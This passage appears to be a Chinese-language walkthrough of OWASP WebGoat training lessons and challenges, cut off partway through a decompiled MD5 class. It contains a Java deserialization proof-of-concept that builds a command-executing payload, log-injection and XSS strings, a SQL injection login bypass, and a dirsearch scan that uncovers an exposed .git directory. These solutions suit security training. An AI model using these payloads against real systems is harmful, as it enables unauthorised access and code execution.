(3)延迟命令的选择

根据操作系统差异,taskAction 需使用对应的延迟命令:

  • Linux/macOSsleep 5(休眠 5 秒,符合 3-7 秒范围,长度 7 < 22)。
  • Windowsping localhost -n 5(ping 5 次,约 5 秒,长度 20 < 22)。

使用编辑器编写 Maven 项目:

(1)代码结构

(2)添加依赖

xml 复制代码
<dependencies>
	<dependency>
		<groupId>org.projectlombok</groupId>
		<artifactId>lombok</artifactId>
		<version>1.18.38</version>
		<scope>provided</scope>
	</dependency>
	<dependency>
		<groupId>org.slf4j</groupId>
		<artifactId>slf4j-api</artifactId>
		<version>2.0.17</version>
	</dependency>
</dependencies>

(3)复制官方重写 readObject 方法的代码 src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java

java 复制代码
/*
 * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import lombok.extern.slf4j.Slf4j;

@Slf4j
// TODO move back to lesson
public class VulnerableTaskHolder implements Serializable {

  private static final long serialVersionUID = 2;

  private String taskName;
  private String taskAction;
  private LocalDateTime requestedExecutionTime;

  public VulnerableTaskHolder(String taskName, String taskAction) {
    super();
    this.taskName = taskName;
    this.taskAction = taskAction;
    this.requestedExecutionTime = LocalDateTime.now();
  }

  @Override
  public String toString() {
    return "VulnerableTaskHolder [taskName="
        + taskName
        + ", taskAction="
        + taskAction
        + ", requestedExecutionTime="
        + requestedExecutionTime
        + "]";
  }

  /**
   * Execute a task when de-serializing a saved or received object.
   */
  private void readObject(ObjectInputStream stream) throws Exception {
    // unserialize data so taskName and taskAction are available
    stream.defaultReadObject();

    // do something with the data
    log.info("restoring task: {}", taskName);
    log.info("restoring time: {}", requestedExecutionTime);

    if (requestedExecutionTime != null
        && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
      // do nothing is the time is not within 10 minutes after the object has been created
      log.debug(this.toString());
      throw new IllegalArgumentException("outdated");
    }

    // condition is here to prevent you from destroying the goat altogether
    if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
        && taskAction.length() < 22) {
      log.info("about to execute: {}", taskAction);
      try {
        Process p = Runtime.getRuntime().exec(taskAction);
        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line = null;
        while ((line = in.readLine()) != null) {
          log.info(line);
        }
      } catch (IOException e) {
        log.error("IO Exception", e);
      }
    }
  }
}

(4)Poc 代码

参考官方工具类:src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java 的 toString 方法。

java 复制代码
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Poc {
    public static void main(String[] args) {
        try {
            VulnerableTaskHolder payload = new VulnerableTaskHolder("DoWork", "ping localhost -n 5");
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(out);
            oos.writeObject(payload);
            oos.close();
            String flag = Base64.getEncoder().encodeToString(out.toByteArray());
            System.out.println(flag);
        } catch (Exception ignored) {}
    }
}

(5)执行 Poc 获取 token

powershell 复制代码
rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfpChkTLRUhFKDAeHQAE3BpbmcgbG9jYWxob3N0IC1uIDV0AAZEb1dvcms=

提交后等待 5 秒通过。

(A9) Security Logging Failures

Logging Security

第 2 页

目标:让用户名"admin"看起来成功登录了,并尝试通过在日志文件中添加脚本来升级你的攻击。

查看接口源码:src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java,存在如下限制:

  1. username 非空校验:若为空,直接返回失败。
  2. 换行符替换 :将 username 中的 \n(换行符)替换为 <br/>(HTML 换行标签)。
  3. 标签过滤 :若 username 包含 <p><div>,返回失败(提示 "Try to think of something simple")。
  4. 成功条件username<br/>(即原输入的 \n)的位置必须在 admin 字符串之前(indexOf("<br/>") < indexOf("admin"))。
java 复制代码
@RestController
public class LogSpoofingTask implements AssignmentEndpoint {

    @PostMapping("/LogSpoofing/log-spoofing")
    @ResponseBody
    public AttackResult completed(@RequestParam String username, @RequestParam String password) {
        if (Strings.isEmpty(username)) {
            return failed(this).output(username).build();
        }
        username = username.replace("\n", "<br/>");
        if (username.contains("<p>") || username.contains("<div>")) {
            return failed(this).output("Try to think of something simple ").build();
        }
        if (username.indexOf("<br/>") < username.indexOf("admin")) {
            return success(this).output(username).build();
        }
        return failed(this).output(username).build();
    }
}

答案1:hack\nadmin succeeded in logging in

答案2:x\n<script>alert('log xss')</script>

第 4 页

目标:以管理员用户身份登录。

查看源码:src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java

接口在初始化(LogBleedingTask 类实例化)时,会自动生成一个随机的 Admin 密码:

  • 密码为 UUID 格式(随机唯一字符串)。

  • 生成后,密码会被 Base64 编码,并通过日志记录,日志内容为:

powershell 复制代码
Password for admin: [Base64编码后的密码]
java 复制代码
public LogBleedingTask() {
    this.password = UUID.randomUUID().toString();
    log.info(
        "Password for admin: {}",
        Base64.getEncoder().encodeToString(password.getBytes(StandardCharsets.UTF_8)));
}

@PostMapping("/LogSpoofing/log-bleeding")
@ResponseBody
public AttackResult completed(@RequestParam String username, @RequestParam String password) {
    if (Strings.isEmpty(username) || Strings.isEmpty(password)) {
        return failed(this).output("Please provide username (Admin) and password").build();
    }

    if (username.equals("Admin") && password.equals(this.password)) {
        return success(this).build();
    }

    return failed(this).build();
}

输入任意密码,查看日志打印的密码:M2EzNDExZTItNWE5ZC00OWZjLTg2ZjEtODhkNWNmYWE3OGM3

Base64 解码后是:3a3411e2-5a9d-49fc-86f1-88d5cfaa78c7

输入用户名、密码后通过。

(A10) Server-side Request Forgery

Server-Side Request Forgery

第 2 页

抓包并查看接口 /SSRF/task1 的源码:src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java

接口通过 stealTheCheese 方法处理请求,核心规则为:

  1. url 匹配正则 images/tom\.png:返回 Tom 的图片,任务失败(lessonCompleted: false),反馈信息为 ssrf.tom
  2. url 匹配正则 images/jerry\.png:返回 Jerry 的图片,任务成功(lessonCompleted: true),反馈信息为 ssrf.success
  3. 其他 url 值:返回默认的猫图片,任务失败(lessonCompleted: false),反馈信息为 ssrf.failure
java 复制代码
@RestController
@AssignmentHints({
    "ssrf.hint1",
    "ssrf.hint2"
})
public class SSRFTask1 implements AssignmentEndpoint {

    @PostMapping("/SSRF/task1")
    @ResponseBody
    public AttackResult completed(@RequestParam String url) {
        return stealTheCheese(url);
    }

    protected AttackResult stealTheCheese(String url) {
        try {
            StringBuilder html = new StringBuilder();

            if (url.matches("images/tom\\.png")) {
                html.append(
                    "<img class=\"image\" alt=\"Tom\" src=\"images/tom.png\" width=\"25%\"" +
                    " height=\"25%\">");
                return failed(this).feedback("ssrf.tom").output(html.toString()).build();
            } else if (url.matches("images/jerry\\.png")) {
                html.append(
                    "<img class=\"image\" alt=\"Jerry\" src=\"images/jerry.png\" width=\"25%\"" +
                    " height=\"25%\">");
                return success(this).feedback("ssrf.success").output(html.toString()).build();
            } else {
                html.append("<img class=\"image\" alt=\"Silly Cat\" src=\"images/cat.jpg\">");
                return failed(this).feedback("ssrf.failure").output(html.toString()).build();
            }
        } catch (Exception e) {
            e.printStackTrace();
            return failed(this).output(e.getMessage()).build();
        }
    }
}

因此修改参数值为 jerry 即可通过。

第 3 页

抓包并查看接口 /SSRF/task2 的源码:src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java

接口通过 furBall 方法处理请求,核心规则为:

  1. url 严格匹配 http://ifconfig\.pro(正则匹配):
    • 尝试通过该 URL 读取内容(如服务器的网络信息),并将内容以 HTML 形式返回。
    • 无论 http://ifconfig.pro 是否可访问(即使访问失败),均判定任务成功(lessonCompleted: true),反馈信息为 ssrf.success
  2. 其他 url 值:返回默认的猫图片,任务失败(lessonCompleted: false),反馈信息为 ssrf.failure
java 复制代码
@RestController
@AssignmentHints({
    "ssrf.hint3"
})
public class SSRFTask2 implements AssignmentEndpoint {

    @PostMapping("/SSRF/task2")
    @ResponseBody
    public AttackResult completed(@RequestParam String url) {
        return furBall(url);
    }

    protected AttackResult furBall(String url) {
        if (url.matches("http://ifconfig\\.pro")) {
            String html;
            try (InputStream in = new URL(url).openStream()) {
                html =
                    new String(in.readAllBytes(), StandardCharsets.UTF_8)
                    .replaceAll("\n", "<br>"); // Otherwise the \n gets escaped in the response
            } catch (MalformedURLException e) {
                return getFailedResult(e.getMessage());
            } catch (IOException e) {
                // in case the external site is down, the test and lesson should still be ok
                html =
                    "<html><body>Although the http://ifconfig.pro site is down, you still managed to solve" +
                    " this exercise the right way!</body></html>";
            }
            return success(this).feedback("ssrf.success").output(html).build();
        }
        var html = "<img class=\"image\" alt=\"image post\" src=\"images/cat.jpg\">";
        return getFailedResult(html);
    }

    private AttackResult getFailedResult(String errorMsg) {
        return failed(this).feedback("ssrf.failure").output(errorMsg).build();
    }
}

原理同上一个题目,修改参数值为 http://ifconfig.pro即可。

Client side

Bypass front-end restrictions

第 2 页

查看源码:src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java

  • select:使用非 option1/option2 的值。
  • radio:使用非 option1/option2 的值。
  • checkbox:使用非 on/off 的值。
  • shortInput:输入长度 大于 5 的字符串。
  • readOnlyInput:使用非 change 的值。
java 复制代码
@PostMapping("/BypassRestrictions/FieldRestrictions")
@ResponseBody
public AttackResult completed(
    @RequestParam String select,
    @RequestParam String radio,
    @RequestParam String checkbox,
    @RequestParam String shortInput,
    @RequestParam String readOnlyInput) {
    if (select.equals("option1") || select.equals("option2")) {
        return failed(this).build();
    }
    if (radio.equals("option1") || radio.equals("option2")) {
        return failed(this).build();
    }
    if (checkbox.equals("on") || checkbox.equals("off")) {
        return failed(this).build();
    }
    if (shortInput.length() <= 5) {
        return failed(this).build();
    }
    if ("change".equals(readOnlyInput)) {
        return failed(this).build();
    }
    return success(this).build();
}

修改请求参数的值,符合条件,即可通过。

第 3 页

源码如下:src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java

java 复制代码
public AttackResult completed(
    @RequestParam String field1,
    @RequestParam String field2,
    @RequestParam String field3,
    @RequestParam String field4,
    @RequestParam String field5,
    @RequestParam String field6,
    @RequestParam String field7,
    @RequestParam Integer error) {
    final String regex1 = "^[a-z]{3}$";
    final String regex2 = "^[0-9]{3}$";
    final String regex3 = "^[a-zA-Z0-9 ]*$";
    final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
    final String regex5 = "^\\d{5}$";
    final String regex6 = "^\\d{5}(-\\d{4})?$";
    final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
    if (error > 0) {
        return failed(this).build();
    }
    if (field1.matches(regex1)) {
        return failed(this).build();
    }
    if (field2.matches(regex2)) {
        return failed(this).build();
    }
    if (field3.matches(regex3)) {
        return failed(this).build();
    }
    if (field4.matches(regex4)) {
        return failed(this).build();
    }
    if (field5.matches(regex5)) {
        return failed(this).build();
    }
    if (field6.matches(regex6)) {
        return failed(this).build();
    }
    if (field7.matches(regex7)) {
        return failed(this).build();
    }
    return success(this).build();
}

同理:修改参数的值以绕过正则要求。

field1=123&field2=abc&field3=abc,123ABC&field4=abc&field5=abcde&field6=abcde-abcd&field7=abc-abc-abcd&error=0

Client side filtering

第 2 页

源码:src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java

接口的 completed 方法是核心处理逻辑,规则简单直接:

  • answer 的值等于字符串 "450000",则返回成功(lessonCompleted: true),反馈信息为 "assignment.solved"。
  • 其他任何值均返回失败(lessonCompleted: false),反馈信息为 "ClientSideFiltering.incorrect"
java 复制代码
public class ClientSideFilteringAssignment implements AssignmentEndpoint {

    @PostMapping("/clientSideFiltering/attack1")
    @ResponseBody
    public AttackResult completed(@RequestParam String answer) {
        return "450000".equals(answer) ?
            success(this).feedback("assignment.solved").build() :
            failed(this).feedback("ClientSideFiltering.incorrect").build();
    }
}

第 3 页

源码:src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java

  • checkoutCode 的值等于常量 SUPER_COUPON_CODE(即字符串 "get_it_for_free"),则返回成功(lessonCompleted: true)。
  • 其他任何值均返回失败(lessonCompleted: false)。
java 复制代码
public class ClientSideFilteringFreeAssignment implements AssignmentEndpoint {
    public static final String SUPER_COUPON_CODE = "get_it_for_free";

    @PostMapping("/clientSideFiltering/getItForFree")
    @ResponseBody
    public AttackResult completed(@RequestParam String checkoutCode) {
        if (SUPER_COUPON_CODE.equals(checkoutCode)) {
            return success(this).build();
        }
        return failed(this).build();
    }
}

HTML tampering

第 2 页

源码:src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java

  • 成功条件QTY(数量)× 2999.99 > Total(提交的总金额) + 1

    即提交的总金额远低于实际应支付的金额(差值超过 1),判定为 "篡改成功"。

  • 失败条件 :不满足上述不等式,即总金额未被有效降低,返回 lessonCompleted: false

java 复制代码
@PostMapping("/HtmlTampering/task")
@ResponseBody
public AttackResult completed(@RequestParam String QTY, @RequestParam String Total) {
    if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) {
        return success(this).feedback("html-tampering.tamper.success").build();
    }
    return failed(this).feedback("html-tampering.tamper.failure").build();
}

修改参数 Total 的值为 0 即可。

Challenges

Challenges-WebGoatChallenge

Windows / Docker 环境打开此章节均报错,这是介绍页不用在意。

Admin lost password

第 2 页

目标是猜测 admin 的密码,唯一线索是图片。

使用编辑器打开图片,搜索 admin 关键字,发现密码是!!webgoat_admin_9339!!

提交后获得 flag:

输入后通过。

Without password

第 1 页

目标:使用 Larry 完成登录。

登录接口抓包,密码参数存在 sql 注入:使用1' or '1'='1' -- 即可,响应内容包含 flag 信息。

输入 flag 信息即可通过。

Admin password reset

目标:重置 admin 的密码。

进入 webwolf 界面,点击 MailBox 导航,将界面显示的邮箱地址输入的题目输入框中。

点击 Rest Passwrod 按钮,此时题目显示通过(绿色)。

打开邮件,发现一个链接用来重置密码,点击链接地址:http://127.0.0.1:8080/WebGoat/challenge/7/reset-password/2f9ee6a7ed90075b747518d535f55215发现打不开,因为端口是默认的,应该换成自己的(我这里是8001端口)。

本地使用三方工具 dirsearch 可以探测该地址:例如我的是 http://127.0.0.1:8001/WebGoat/challenge/7/

powershell 复制代码
# 记得添加 cookie,未登录的请求会返回302响应码,从而被过滤
python dirsearch.py -u http://127.0.0.1:8001/WebGoat/challenge/7/ --cookie "JSESSIONID=C263387129B5EE28CF2EBD54EEC1EFA6" --include-status 200

扫描一会儿就发现:http://127.0.0.1:8001/WebGoat/challenge/7/.git 地址,范围会得到一个压缩包git.zip

解压后进入目录,使用 Git Bash 终端执行下面命令:

shell 复制代码
git status
git log
git reset --hard f94008f801fceb8833a30fe56a8b26976347edcf

执行后出现下面文件:

下载工具JD-GUI,不要用 JADX。

将 PasswordResetLink.class 文件拖进 jd-gui 反编译工具,查看代码。

java 复制代码
package defpackage;

import java.util.Random;

public class PasswordResetLink {
    public String createPasswordReset(String paramString1, String paramString2) {
        Random random = new Random();
        if (paramString1.equalsIgnoreCase("admin"))
            random.setSeed(paramString2.length());
        return scramble(random, scramble(random, scramble(random, MD5.getHashString(paramString1))));
    }

    public static String scramble(Random paramRandom, String paramString) {
        char[] arrayOfChar = paramString.toCharArray();
        for (byte b = 0; b < arrayOfChar.length; b++) {
            int i = paramRandom.nextInt(arrayOfChar.length);
            char c = arrayOfChar[b];
            arrayOfChar[b] = arrayOfChar[i];
            arrayOfChar[i] = c;
        }
        return new String(arrayOfChar);
    }

    public static void main(String[] paramArrayOfString) {
        if (paramArrayOfString == null || paramArrayOfString.length != 1) {
            System.out.println("Need a username");
            System.exit(1);
        }
        String str1 = paramArrayOfString[0];
        String str2 = "!!keykeykey!!";
        System.out.println("Generation password reset link for " + str1);
        System.out.println("Created password reset link: " + (new PasswordResetLink()).createPasswordReset(str1, str2));
    }
}

MD5.class 文件同样在 jd-gui 中打开,查看代码。

java 复制代码
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;

public class MD5 {
    private MD5State workingState;

    private MD5State finalState;

    private int[] decodeBuffer;

    public MD5() {
        this.workingState = new MD5State();
        this.finalState = new MD5State();
        this.decodeBuffer = new int[16];
        reset();
    }

    public static void main(String[] paramArrayOfString) {
        if (paramArrayOfString.length == 0) {
            System.err.println("Please specify a file.");
        } else {
            for (String str : paramArrayOfString) {
                try {
                    System.out.println(getHashString(new File(str)) + " " + str);
                } catch (IOException iOException) {
                    System.err.println(iOException.getMessage());
                }
            }
        }
    }

    public byte[] getHash() {
        if (!this.finalState.valid) {
            this.finalState.copy(this.workingState);
            long l = this.finalState.bitCount;
            int i = (int)(l >>> 3L & 0x3FL);
            int j = (i < 56) ? (56 - i) : (120 - i);
            update(this.finalState, padding, 0, j);
            update(this.finalState, encode(l), 0, 8);
            this.finalState.valid = true;
        }
        return encode(this.finalState.state, 16);
    }

    public String getHashString() {
        return toHex(getHash());
    }

    public static byte[] getHash(byte[] paramArrayOfbyte) {
        MD5 mD5 = new MD5();
        mD5.update(paramArrayOfbyte);
        return mD5.getHash();
    }

    public static String getHashString(byte[] paramArrayOfbyte) {
        MD5 mD5 = new MD5();
        mD5.update(paramArrayOfbyte);
        return mD5.getHashString();
    }

    public static byte[] getHash(InputStream paramInputStream) throws IOException {
        MD5 mD5 = new MD5();
        byte[] arrayOfByte = new byte[1024];
        int i;
        while ((i = paramInputStream.read(arrayOfByte)) != -1)
            mD5.update(arrayOfByte, i);
        return mD5.getHash();
    }

    public static String getHashString(InputStream paramInputStream) throws IOException {
        MD5 mD5 = new MD5();
        byte[] arrayOfByte = new byte[1024];
        int i;
        while ((i = paramInputStream.read(arrayOfByte)) != -1)
            mD5.update(arrayOfByte, i);
        return mD5.getHashString();
    }

    public static byte[] getHash(File paramFile) throws IOException {
        FileInputStream fileInputStream = new FileInputStream(paramFile);
        byte[] arrayOfByte = getHash(fileInputStream);
        fileInputStream.close();
        return arrayOfByte;
    }

    public static String getHashString(File paramFile) throws IOException {
        FileInputStream fileInputStream = new FileInputStream(paramFile);
        String str = getHashString(fileInputStream);
        fileInputStream.close();
        return str;
    }

    public static byte[] getHash(String paramString) {
        MD5 mD5 = new MD5();
        mD5.update(paramString);
        return mD5.getHash();
    }

    public static String getHashString(String paramString) {
        MD5 mD5 = new MD5();
        mD5.update(paramString);
        return mD5.getHashString();
    }

    public static byte[] getHash(String paramString1, String paramString2) throws UnsupportedEncodingException {
        MD5 mD5 = new MD5();
        mD5.update(paramString1, paramString2);
        return mD5.getHash();
    }

    public static String getHashString(String paramString1, String paramString2) throws UnsupportedEncodingException {
        MD5 mD5 = new MD5();
        mD5.update(paramString1, paramString2);
        return mD5.getHashString();
    }

    public void reset() {
        this.workingState.reset();
        this.finalState.valid = false;
    }

    public String toString() {
        return getHashString();
    }

    private void update(MD5State paramMD5State, byte[] paramArrayOfbyte, int paramInt1, int paramInt2) {
        this.finalState.valid = false;
        if (paramInt2 + paramInt1 > paramArrayOfbyte.length)
            paramInt2 = paramArrayOfbyte.length - paramInt1;
        int i = (int)(paramMD5State.bitCount >>> 3L) & 0x3F;
        MD5State mD5State = paramMD5State;
        mD5State.bitCount = mD5State.bitCount + (paramInt2 << 3);
        int j = 64 - i;
        int k = 0;
        if (paramInt2 >= j) {
            System.arraycopy(paramArrayOfbyte, paramInt1, paramMD5State.buffer, i, j);
            transform(paramMD5State, decode(paramMD5State.buffer, 64, 0));
            for (k = j; k + 63 < paramInt2; k += 64)
                transform(paramMD5State, decode(paramArrayOfbyte, 64, k));
            i = 0;
        }
        if (k < paramInt2)
            for (int m = k; k < paramInt2; k++)
                paramMD5State.buffer[i + k - m] = paramArrayOfbyte[k + paramInt1];
    }

    public void update(byte[] paramArrayOfbyte, int paramInt1, int paramInt2) {
        update(this.workingState, paramArrayOfbyte, paramInt1, paramInt2);
    }

    public void update(byte[] paramArrayOfbyte, int paramInt) {
        update(paramArrayOfbyte, 0, paramInt);
    }

    public void update(byte[] paramArrayOfbyte) {
        update(paramArrayOfbyte, 0, paramArrayOfbyte.length);
    }

    public void update(byte paramByte) {
        byte[] arrayOfByte = new byte[1];
        arrayOfByte[0] = paramByte;
        update(arrayOfByte, 1);
    }

    public void update(String paramString) {
        update(paramString.getBytes());
    }

    public void update(String paramString1, String paramString2) throws UnsupportedEncodingException {
        update(paramString1.getBytes(paramString2));
    }

    private static final byte[] padding = new byte[] {
            Byte.MIN_VALUE, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0 };

    private class MD5State {
        private boolean valid = true;

        private void reset() {
            this.state[0] = 1732584193;
            this.state[1] = -271733879;
            this.state[2] = -1732584194;
            this.state[3] = 271733878;
            this.bitCount = 0L;
        }

        private int[] state = new int[4];

        private long bitCount;

        private byte[] buffer = new byte[64];

        private MD5State() {
            reset();
        }

        private void copy(MD5State param1MD5State) {
            System.arraycopy(param1MD5State.buffer, 0, this.buffer, 0, this.buffer.length);
            System.arraycopy(param1MD5State.state, 0, this.state, 0, this.state.length);
            this.valid = param1MD5State.valid;
            this.bitCount = param1MD5State.bitCount;
        }
    }

    private static String toHex(byte[] paramArrayOfbyte) {
        StringBuffer stringBuffer = new StringBuffer(paramArrayOfbyte.length * 2);
        for (byte b : paramArrayOfbyte) {
            int i = b & 0xFF;
            if (i < 16)
                stringBuffer.append("0");
            stringBuffer.append(Integer.toHexString(i));
        }
        return stringBuffer.toString();
    }

    private static int FF(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6, int paramInt7) {
        paramInt1 += paramInt2 & paramInt3 | (paramInt2 ^ 0xFFFFFFFF) & paramInt4;
        paramInt1 += paramInt5;
        paramInt1 += paramInt7;
        paramInt1 = paramInt1 << paramInt6 | paramInt1 >>> 32 - paramInt6;
        return paramInt1 + paramInt2;
    }

    private static int GG(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6, int paramInt7) {
        paramInt1 += paramInt2 & paramInt4 | paramInt3 & (paramInt4 ^ 0xFFFFFFFF);
        paramInt1 += paramInt5;
        paramInt1 += paramInt7;
        paramInt1 = paramInt1 << paramInt6 | paramInt1 >>> 32 - paramInt6;
        return paramInt1 + paramInt2;
    }

    private static int HH(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6, int paramInt7) {
        paramInt1 += paramInt2 ^ paramInt3 ^ paramInt4;
        paramInt1 += paramInt5;
        paramInt1 += paramInt7;
        paramInt1 = paramInt1 << paramInt6 | paramInt1 >>> 32 - paramInt6;
        return paramInt1 + paramInt2;
    }

    private static int II(int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6, int paramInt7) {
        paramInt1 += paramInt3 ^ (paramInt2 | paramInt4 ^ 0xFFFFFFFF);
        paramInt1 += paramInt5;
        paramInt1 += paramInt7;
        paramInt1 = paramInt1 << paramInt6 | paramInt1 >>> 32 - paramInt6;
        return paramInt1 + paramInt2;
    }

    private static byte[] encode(long paramLong) {
        byte[] arrayOfByte = new byte[8];
        arrayOfByte[0] = (byte)(int)(paramLong & 0xFFL);
        arrayOfByte[1] = (byte)(int)(paramLong >>> 8L & 0xFFL);
        arrayOfByte[2] = (byte)(int)(paramLong >>> 16L & 0xFFL);
        arrayOfByte[3] = (byte)(int)(paramLong >>> 24L & 0xFFL);
        arrayOfByte[4] = (byte)(int)(paramLong >>> 32L & 0xFFL);
        arrayOfByte[5] = (byte)(int)(paramLong >>> 40L & 0xFFL);
        arrayOfByte[6] = (byte)(int)(paramLong >>> 48L & 0xFFL);
        arrayOfByte[7] = (byte)(int)(paramLong >>> 56L & 0xFFL);
        return arrayOfByte;
    }

    private static byte[] encode(int[] paramArrayOfint, int paramInt) {
        byte[] arrayOfByte = new byte[paramInt];
        for (byte b2 = 0, b1 = b2; b2 < paramInt; b1++, b2 += 4) {
            arrayOfByte[b2] = (byte)(paramArrayOfint[b1] & 0xFF);
            arrayOfByte[b2 + 1] = (byte)(paramArrayOfint[b1] >>> 8 & 0xFF);
            arrayOfByte[b2 + 2] = (byte)(paramArrayOfint[b1] >>> 16 & 0xFF);
            arrayOfByte[b2 + 3] = (byte)(paramArrayOfint[b1] >>> 24 & 0xFF);
        }
        return arrayOfByte;
    }

    private int[] decode(byte[] paramArrayOfbyte, int paramInt1, int paramInt2) {
        for (byte b2 = 0, b1 = b2; b2 < paramInt1; b1++, b2 += 4)
            this.decodeBuffer[b1] = paramArrayOfbyte[b2 + paramInt2] & 0xFF | (paramArrayOfbyte[b2 + 1 + paramInt2] & 0xFF) << 8 | (paramArrayOfbyte[b2 + 2 + paramInt2] & 0xFF) << 16 | (paramArrayOfbyte[b2 + 3 + paramInt2] & 0xFF) << 24;
        return this.decodeBuffer;
    }

    private static void transform(MD5State paramMD5State, int[] paramArrayOfint) {
        int i = paramMD5State.state[0];
        int j = paramMD5State.state[1];
        int k = paramMD5State.state[2];
        int m = paramMD5State.state[3];
        i = FF(i, j, k, m, paramArrayOfint[0], 7, -680876936);
        m = FF(m, i, j, k, paramArrayOfint[1], 12, -389564586);
        k = FF(k, m, i, j, paramArrayOfint[2], 17, 606105819);
        j = FF(j, k, m, i, paramArrayOfint[3], 22, -1044525330);
        i = FF(i, j, k, m, paramArrayOfint[4], 7, -176418897);
        m = FF(m, i, j, k, paramArrayOfint[5], 12, 1200080426);
        k = FF(k, m, i, j, paramArrayOfint[6], 17, -1473231341);
        j = FF(j, k, m, i, paramArrayOfint[7], 22, -45705983);
        i = FF(i, j, k, m, paramArrayOfint[8], 7, 1770035416);
        m = FF(m, i, j, k, paramArrayOfint[9], 12, -1958414417);
        k = FF(k, m, i, j, paramArrayOfint[10], 17, -42063);
        j = FF(j, k, m, i, paramArrayOfint[11], 22, -1990404162);
        i = FF(i, j, k, m, paramArrayOfint[12], 7, 1804603682);
        m = FF(m, i, j, k, paramArrayOfint[13], 12, -40341101);
        k = FF(k, m, i, j, paramArrayOfint[14], 17, -1502002290);
        j = FF(j, k, m, i, paramArrayOfint[15], 22, 1236535329);
        i = GG(i, j, k, m, paramArrayOfint[1], 5, -165796510);
        m = GG(m, i, j, k, paramArrayOfint[6], 9, -1069501632);
        k = GG(k, m, i, j, paramArrayOfint[11], 14, 643717713);
        j = GG(j, k, m, i, paramArrayOfint[0], 20, -373897302);
        i = GG(i, j, k, m, paramArrayOfint[5], 5, -701558691);
        m = GG(m, i, j, k, paramArrayOfint[10], 9, 38016083);
        k = GG(k, m, i, j, paramArrayOfint[15], 14, -660478335);
        j = GG(j, k, m, i, paramArrayOfint[4], 20, -405537848);
        i = GG(i, j, k, m, paramArrayOfint[9], 5, 568446438);
        m = GG(m, i, j, k, paramArrayOfint[14], 9, -1019803690);
        k = GG(k, m, i, j, paramArrayOfint[3], 14, -187363961);
        j = GG(j, k, m, i, paramArrayOfint[8], 20, 1163531501);
        i = GG(i, j, k, m, paramArrayOfint[13], 5, -1444681467);
        m = GG(m, i, j, k, paramArrayOfint[2], 9, -51403784);
        k = GG(k, m, i, j, paramArrayOfint[7], 14, 1735328473);
        j = GG(j, k, m, i, paramArrayOfint[12], 20, -1926607734);
        i = HH(i, j, k, m, paramArrayOfint[5], 4, -378558);
        m = HH(m, i, j, k, paramArrayOfint[8], 11, -2022574463);
        k = HH(k, m, i, j, paramArrayOfint[11], 16, 1839030562);
        j = HH(j, k, m, i, paramArrayOfint[14], 23, -35309556);
        i = HH(i, j, k, m, paramArrayOfint[1], 4, -1530992060);
        m = HH(m, i, j, k, paramArrayOfint[4], 11, 1272893353);
        k = HH(k, m, i, j, paramArrayOfint[7], 16, -155497632);
        j = HH(j, k, m, i, paramArrayOfint[10], 23, -1094730640);
        i = HH(i, j, k, m, paramArrayOfint[13], 4, 681279174);
        m = HH(m, i, j, k, paramArrayOfint[0], 11, -358537222);
        k = HH(k, m, i, j, paramArrayOfint[3], 16, -722521979);
        j = HH(j, k, m, i, paramArrayOfint[6], 23, 76029189);
        i = HH(i, j, k, m, paramArrayOfint[9], 4, -640364487);
        m = HH(m, i, j, k, paramArrayOfint[12], 11, -421815835);
        k = HH(k, m, i, j, paramArrayOfint[15], 16, 530742520);
        j = HH(j, k, m, i, paramArrayOfint[2], 23, -995338651);
        i = II(i, j, k, m, paramArrayOfint[0], 6, -198630844);
        m = II(m, i, j, k, paramArrayOfint[7], 10, 1126891415);
        k = II(k, m, i, j, paramArrayOfint[14], 15, -1416354905);
        j = II(j, k, m, i, paramArrayOfint[5], 21, -57434055);
